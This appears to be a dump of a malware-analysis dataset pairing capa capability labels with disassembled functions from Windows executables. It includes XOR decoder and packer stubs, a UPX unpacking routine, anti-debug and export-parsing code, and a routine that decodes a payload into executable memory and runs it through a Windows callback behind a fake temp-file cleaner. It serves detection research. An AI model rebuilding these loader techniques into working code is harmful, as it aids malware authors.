joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40b4e5
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.004041e5
sub ebx, ebx
cmp dword [0x434898], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x40b5ba
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
pop edi
cmp edi, ebx
jne 0x40b525
sub eax, eax
jmp 0x40b67e
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x40b51e
push eax
call fcn.00404182
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x434898], eax
call esi
push eax
call fcn.00404182
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x43489c], eax
call esi
push eax
call fcn.00404182
mov dword [0x4348a0], eax
lea eax, [ebp - 8]
push eax
call fcn.004067af
test eax, eax
pop ecx
pop ecx
je 0x40b588
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00403c3f
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x40b5ba
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.00404182
cmp eax, ebx
pop ecx
mov dword [0x4348a8], eax
je 0x40b5ba
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00404182
pop ecx
mov dword [0x4348a4], eax
mov eax, dword [0x4348a4]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x40b633
cmp dword [0x4348a8], esi
je 0x40b633
push eax
call fcn.004041ee
pop ecx
call eax
cmp eax, ebx
je 0x40b600
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x4348a8]
call fcn.004041ee
pop ecx
call eax
test eax, eax
je 0x40b600
test byte [ebp - 0x18], 1
jne 0x40b633
lea eax, [ebp - 0xc]
push eax
call fcn.004067e6
test eax, eax
pop ecx
je 0x40b61b
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00403c3f
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x40b62a
or dword [ebp + 0x10], 0x200000
jmp 0x40b664
or dword [ebp + 0x10], 0x40000
jmp 0x40b664
mov eax, dword [0x43489c]
cmp eax, esi
je 0x40b664
push eax
call fcn.004041ee
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x40b664
mov eax, dword [0x4348a0]
cmp eax, esi
je 0x40b664
push dword [ebp - 4]
push eax
call fcn.004041ee
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x434898]
call fcn.004041ee
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
nop
nop
pop eax
nop
nop
add eax, 0x40a063
nop
nop
sub eax, 0x40a009
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x433030
add eax, 0xc
nop
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
jne 0x43301e
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x402706
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 0xc]
push esi
imul eax, eax, 0x61c88647
mov esi, dword [esp + 0xc]
test eax, eax
mov edx, dword [esi]
mov ecx, dword [esi + 4]
je 0x40276e
mov esi, dword [esp + 8]
push ebx
push edi
mov edi, edx
mov ebx, edx
sar edi, 5
shl ebx, 4
xor edi, ebx
mov ebx, eax
sar ebx, 0xb
and ebx, 3
add edi, dword [esi + ebx*4]
mov ebx, eax
xor ebx, edx
add eax, 0x61c88647
add edi, ebx
sub ecx, edi
mov edi, ecx
mov ebx, ecx
sar edi, 5
shl ebx, 4
xor edi, ebx
mov ebx, eax
and ebx, 3
add edi, dword [esi + ebx*4]
mov ebx, eax
xor ebx, ecx
add edi, ebx
sub edx, edi
test eax, eax
jne 0x402724
mov esi, dword [esp + 0x14]
pop edi
pop ebx
mov dword [esi], edx
mov dword [esi + 4], ecx
pop esi
ret

Function at 0x401565
Capabilities:
Check if file exists
Delete file
Get common file path

Disassembly:
push ebx
push ecx
push edx
push esi
enter 0x5e4, 0
sub ebp, 0x8e
lea ebx, [ebp - 0x42]
push ebx
xor eax, eax
push ebx
mov word [ebp - 0x42], ax
call dword [sym.imp.SHLWAPI.DLL_PathAddExtensionW]
lea eax, [ebp - 0x556]
push eax
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathW]
push 0x104
lea ebx, [ebp - 0x34e]
push ebx
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateEventW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateMutexW]
push 0x104
lea eax, [ebp - 0x146]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
push 0
push 0
push 3
push 0
push 0
push 0x80000000
lea ebx, [ebp - 0x556]
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov ebx, eax
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov esi, eax
lea eax, [ebp + 0x3e]
push eax
push eax
mov byte [ebp + 0x3e], 0
call dword [sym.imp.SHLWAPI.DLL_PathAddExtensionA]
xor eax, eax
push ebx
mov word [ebp + 0x7e], ax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
lea eax, [ebp + 0x7e]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateEventA]
push 0
call dword [sym.imp.SHLWAPI.DLL_PathFileExistsW]
lea eax, [ebp - 0x146]
push eax
lea ebx, [esi - 3]
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
mov eax, ebx
lea esp, [ebp + 0x8e]
pop ebp
pop esi
pop edx
pop ecx
pop ebx
ret

Function at 0x401e31
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebx
push ecx
push edx
push esi
push edi
enter 4, 0
mov esi, eax
lea edx, [eax - 1]
mov ebx, eax
and edx, dword [0x403050]
mov eax, 0x403054
call fcn.00401db0
lea edx, [ebp - 4]
push edx
mov edx, esi
or dl, 0x40
mov edi, 0x402da2
push edx
sub edi, fcn.0040254c
push edi
xor eax, eax
push fcn.0040254c
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
cmp dword [ebp - 4], 0
je 0x401ef5
mov eax, fcn.0040254c
mov ebx, esi
mov edx, edi
call fcn.00401db0
mov edx, 0x1c000
mov eax, 0x403054
mov ebx, esi
call fcn.004013ed
jmp 0x401ef5
leave
pop edi
pop esi
pop edx
pop ecx
pop ebx
ret
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
nop
nop
nop
pop eax
nop
nop
add eax, 0x403ac5
sub eax, 0x403a6b
nop
nop
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
jl 0x42e030
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
jne 0x42e01e
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp loc.00401219
Function at 0x7fcd50
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x39f000]
push edi
jmp 0x7fcd6a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x7fcd71
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x7fcd60
mov eax, 1
add ebx, ebx
jne 0x7fcd83
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x7fcd94
jne 0x7fcdb3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x7fcdb3
dec eax
add ebx, ebx
jne 0x7fcda0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x7fcd78
add ebx, ebx
jne 0x7fcdaf
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x7fce05
xor ecx, ecx
sub eax, 3
jb 0x7fcdcb
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x7fce3a
sar eax, 1
mov ebp, eax
jmp 0x7fcdd6
add ebx, ebx
jne 0x7fcdd6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x7fcda4
inc ecx
add ebx, ebx
jne 0x7fcde4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x7fcda4
add ebx, ebx
jne 0x7fcdf1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x7fcde6
jne 0x7fce02
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x7fcde6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x7fce24
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x7fce16
jmp 0x7fcd66
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x7fce24
add edi, ecx
jmp 0x7fcd66
pop esi
mov edi, esi
mov ecx, 0x3ee5
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x7fce42
cmp byte [edi], 0x11
jne 0x7fce42
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x7fce47
lea edi, [esi + 0x3f5000]
mov eax, dword [edi]
or eax, eax
je 0x7fcebf
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x6ce69c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x6ce818]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x7fce74
mov ecx, edi
jns 0x7fcea3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x6ce81c]
or eax, eax
je 0x7fceb9
mov dword [ebx], eax
add ebx, 4
jmp 0x7fce91
call dword [esi + 0x6ce82c]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x7fcef0
cmp al, 0xef
ja 0x7fcee3
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x7fcec5
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x7fced2
mov ebp, dword [esi + 0x6ce820]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x22f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x7fcf24
sub esp, 0xffffff80
jmp 0x427f4a
Function at 0x100289d0
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x808
mov eax, dword [0x100330b4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x10035b0c]
test dword [ebp + 8], eax
je 0x10028a7a
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 0x808]
push eax
call fcn.1002999d
xor eax, eax
add esp, 0xc
mov word [ebp - 8], ax
mov eax, dword [0x10035b08]
test eax, eax
je 0x10028a6d
lea ecx, [ebp - 0x808]
push ecx
push eax
call fcn.1002999d
mov eax, dword [0x100330ac]
pop ecx
pop ecx
test eax, eax
jle 0x10028a7a
push esi
mov esi, dword [0x10035b10]
push edi
mov edi, dword [0x10035b14]
cdq
push edx
push eax
push edi
push esi
call fcn.10029420
add esi, 1
mov dword [0x10035b10], esi
adc edi, 0
or eax, edx
mov dword [0x10035b14], edi
pop edi
pop esi
jne 0x10028a7a
push dword [0x10035b08]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fflush]
pop ecx
jmp 0x10028a7a
lea eax, [ebp - 0x808]
push eax
call dword [sym.imp.kernel32.dll_OutputDebugStringW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10028d50
leave
ret

Function at 0x1002999d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x100299ac
pop dword [ebp - 0x30]
mov eax, 0x100299ac
sub dword [ebp - 0x30], eax
push 0x40
push 0x1000
push 0x43922
push 0
mov eax, 0x80e739c0
add eax, 0x8f1c271c
add eax, dword [ebp - 0x30]
call dword [eax]
mov ecx, 0x31468bf1
sub ecx, 0x31463764
xor edi, edi
add edi, eax
mov esi, 0x1003be00
add esi, dword [ebp - 0x30]
mov ebx, 0xe0b609ad
sub ebx, 0x622a5d62
xor dword [ebp - 0x1c], 0x3b0b7a25
mov edx, dword [esi]
sub dword [ebp - 0x10], 0xe40664f7
add edx, ebx
sub dword [ebp - 0x20], 0x3bd7d2ca
mov dword [edi], edx
xor dword [ebp - 0xc], 0x85f9c511
add edi, 4
add esi, 0xa92f8be7
add esi, 0x56d0741d
loop 0x10029a02
add eax, 0x77ba7b26
sub eax, 0x77b9361f
mov ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0x30]
call ebx
leave
ret
Function at 0x4012e0
Capabilities:
Allocate or change rwx memory
Execute shellcode via windows callback function

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x425950
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x6c
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x38], str.ijievgjzpszps
push 0x2faf080
call fcn.0040c24c
add esp, 4
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x40133a
xor eax, eax
jmp 0x401557
mov dword [ebp - 0x34], 0
lea ecx, [ebp - 0x34]
push ecx
mov edx, dword [ebp - 0x20]
add edx, 0x2faf080
push edx
mov eax, dword [ebp - 0x20]
push eax
call fcn.00402dc0
mov dword [ebp - 0x1c], 0
jmp 0x40136a
mov ecx, dword [ebp - 0x1c]
add ecx, 1
mov dword [ebp - 0x1c], ecx
cmp dword [ebp - 0x1c], 0x173f
jae 0x4013bc
mov edx, dword [ebp - 0x1c]
mov al, byte [edx + section..data]
mov byte [ebp - 0x11], al
mov ecx, dword [ebp - 0x38]
add ecx, dword [ebp - 0x24]
mov dl, byte [ecx]
mov byte [ebp - 0x12], dl
movzx eax, byte [ebp - 0x11]
sar eax, 3
movzx ecx, byte [ebp - 0x11]
shl ecx, 5
or eax, ecx
movzx edx, byte [ebp - 0x12]
xor eax, edx
mov ecx, dword [ebp - 0x1c]
mov byte [ecx + section..data], al
mov eax, dword [ebp - 0x24]
add eax, 1
cdq
mov ecx, 0xd
idiv ecx
mov dword [ebp - 0x24], edx
jmp 0x401361
push 0x40
push 0x3000
push 0x173f
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x2c], eax
push 0x173f
push section..data
mov edx, dword [ebp - 0x2c]
push edx
call fcn.00401810
push 0
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0x3c], ecx
mov edx, dword [ebp - 0x3c]
push edx
call fcn.0040f9e7
add esp, 4
mov dword [ebp - 4], 0
lea eax, [ebp - 0x64]
push eax
call fcn.00401750
lea ecx, [ebp - 0x64]
call fcn.00409810
lea edx, [ebp - 0x64]
push edx
lea eax, [ebp - 0x4c]
push eax
call fcn.00401570
lea ecx, [ebp - 0x4c]
call fcn.00409840
movzx ecx, al
test ecx, ecx
je 0x401472
push 0x402d90
push str.No_temporary_files_found.
push 0x4335c8
call fcn.00401f40
mov ecx, eax
call fcn.004046b0
mov dword [ebp - 0x40], 0
lea ecx, [ebp - 0x4c]
call fcn.004042b0
lea ecx, [ebp - 0x64]
call fcn.004041a0
mov eax, dword [ebp - 0x40]
jmp 0x401557
push str._temporary_files_found._Do_you_want_to_delete_them___Y_N_
lea ecx, [ebp - 0x4c]
call fcn.0040b540
push eax
mov ecx, 0x4335c8
call fcn.004046d0
push eax
call fcn.00401f40
lea edx, [ebp - 0x18]
push edx
push 0x433560
call fcn.004018c0
movzx eax, word [ebp - 0x18]
push eax
call fcn.0040e4c5
add esp, 4
movzx ecx, ax
cmp ecx, 0x59
jne 0x4014d7
lea edx, [ebp - 0x4c]
push edx
call fcn.00401690
push 0x402d90
push str.Temporary_files_deleted.
push 0x4335c8
call fcn.00401f40
mov ecx, eax
call fcn.004046b0
lea ecx, [ebp - 0x4c]
call fcn.004042b0
lea ecx, [ebp - 0x64]
call fcn.004041a0
jmp 0x401545
mov dword [ebp - 4], 0xffffffff
jmp 0x401555
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
Function at 0x42093f
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x431e88]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00412e19
mov dword [ebp - 0x14], eax
cmp dword [0x4346e4], esi
jne 0x420a32
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x4209bf
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x420b12
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x420b12
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x420b12
push eax
call ebx
push 0x42bed0
push edi
mov dword [0x4346e4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x4346e8], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x4346ec], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x4346f4], eax
test eax, eax
je 0x420a2f
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x4346f0], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x420a57
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x420a4a
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x420a6c
push 4
pop eax
jmp 0x420b14
cmp dword [ebp - 0x14], esi
je 0x420a6c
push dword [0x4346e4]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x420a51
mov eax, dword [0x4346f0]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x420aca
cmp dword [0x4346f4], edi
je 0x420aca
push eax
call ebx
push dword [0x4346f4]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x420aca
test eax, eax
je 0x420aca
call ecx
test eax, eax
je 0x420abf
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x420abf
test byte [ebp - 8], 1
jne 0x420aca
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x420afa
mov eax, dword [0x4346e8]
cmp eax, edi
je 0x420af7
push eax
call ebx
test eax, eax
je 0x420af7
call eax
mov esi, eax
test esi, esi
je 0x420af7
mov eax, dword [0x4346ec]
cmp eax, edi
je 0x420af7
push eax
call ebx
test eax, eax
je 0x420af7
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x4346e4]
call ebx
test eax, eax
je 0x420b12
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x420b14
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041177b
mov esp, ebp
pop ebp
ret
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
pop eax
nop
nop
nop
nop
nop
nop
add eax, 0x403d6f
sub eax, 0x403d15
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43001e
nop
popal
nop
nop
nop
nop
jmp loc.00401219
Function at 0x1006f9a7
Capabilities:
Check for software breakpoints
Resolve function by parsing pe exports

Disassembly:
pushfd
test eax, eax
pushal
mov word [esp], bx
lea esp, [esp + 0x28]
jp 0x1007c647
pushal
lea esp, [esp + 0x20]
je 0x10079931
bsf si, bx
lea edx, [edi + 0x666eff0e]
bsf dx, bx
btc si, ax
mov esi, dword [eax + 0x3c]
push ebx
add esi, eax
lea edx, [esp + 0x5fa8ef15]
movsx edx, bl
rcr dl, cl
bsr dx, bp
mov edx, dword [esi + 0x78]
cmc
mov byte [esp], cl
cmp esi, 0xd56db75a
jmp 0x1007cdd0
setbe ch
bswap cx
sub ch, 0x32
xor ecx, 0xc8ac3977
mov ecx, dword [ebp + 0xc]
call fcn.1007a9e0
mov dword [ebp - 0x10], ecx
not ch
and ch, bl
movsx cx, dl
mov ecx, dword [ebp + 0xc]
clc
cmp ecx, 0xffff
call fcn.100806d8
lea esp, [esp + 4]
jne 0x1007e1a7
movzx ax, dl
pushfd
mov byte [edi - 1], 0
pop eax
cwde
pushfd
mov byte [esp], 0x99
mov dword [esp], ebx
movsx eax, bl
push 0x12fd8e09
movsx ax, al
pushal
lea eax, [0x10072f64]
call fcn.1007c8c9
call fcn.1007c381
add byte [eax], al
push edi
jb 0x1007b215
je 0x1007b213
inc ebx
outsd dx, dword [esi]
outsb dx, byte [esi]
jae 0x1007b222
insb byte es:[edi], dx
push edi
add cl, bh
stc
cmp bx, 0x61b5
cmc
cmp cx, ax
xor ecx, ecx
push edx
push 0xee19941b
mov byte [esp], cl
lea esp, [esp + 8]
je 0x10079931
xchg edx, esi
neg edx
sub esi, edi
cmc
mov esi, dword [eax + 0x3c]
rol dh, 5
cmc
add esi, eax
lea edx, [ecx + 0x37d24d45]
mov edx, dword [esi + 0x78]
pushal
test edx, edx
pushal
push dword [esp + 0xc]
lea esp, [esp + 0x44]
je 0x10079931
pushal
bswap cx
push eax
adc ecx, 0x2d67c21a
add edx, eax
rcl ch, 4
not cx
mov ecx, dword [esi + 0x7c]
push dword [esp]
cmc
cmp di, 0x197b
add ecx, edx
lea esp, [esp + 0x28]
jne 0x1007cb0d
test dl, 0x91
mov dword [ebp - 0x10], ecx
jp 0x10073289
cmc
rcr cl, 1
mov ecx, dword [ebp + 0xc]
clc
cmp ecx, 0xffff
call fcn.10072de9
add byte [eax], al
inc edi
je 0x1007c717
outsd dx, dword [esi]
insd dword es:[edi], dx
insd dword es:[edi], dx
popal
outsb dx, byte [esi]
dec esp
imul ebp, dword [esi + 0x65], 0xe1e90041
jmp 0x1007bec6
imul esp, dword [ebp + 0x64], 0x44
arpl word gs:[edx + 0x65], si
insd dword es:[edi], dx
outsb dx, byte gs:[esi]
je 0x1007c724
pop ebp
pushfd
mov byte [esp], ah
push dword [esp + 4]
ret 0x18
test dh, 0x4e
pushfd
jmp 0x1007b153
test edx, edx
pushal
push esi
call fcn.10062139

Function at 0x1006fb48
Capabilities:
Encode data using xor

Disassembly:
lea esp, [esp + 8]
call fcn.1007c3e1
push esi
jmp 0x1007a4e4
lea esp, [esp + 4]
jae 0x1007b015
xchg bl, al
mov bl, 2
jmp 0x1007bb18
setp al
pushfd
inc ecx
pushfd
mov al, 0x10
push ecx
pushal
mov byte [esp + 8], 0x24
lea esp, [esp + 0x2c]
call fcn.1007c3e1
pushal
adc al, al
call fcn.1006fb5c
adc byte [eax - 0xe26baea], cl
push eax
xor al, 0x3d
mov ebp, 0xba36b327
aas
push ebx
cmp dword [ebp + 0x10], eax
mov ah, 1
imul esi, dword [edi + 0xf], 0xdb53c965
cmp byte [ecx + eax], al
jns 0x1007bb7b
push cs
mov cl, byte [edi - 0x3d1076f9]
add al, 0x23
push ebx
sbb eax, 0x2158166a
test ebx, edi
push ds
outsd dx, dword [esi]
xor dword [ebp + 0x6f3a4e57], esi
out dx, eax
pop edx
jnp 0x1007bb6b
test byte [eax], bl
popfd
jmp 0x930b18a9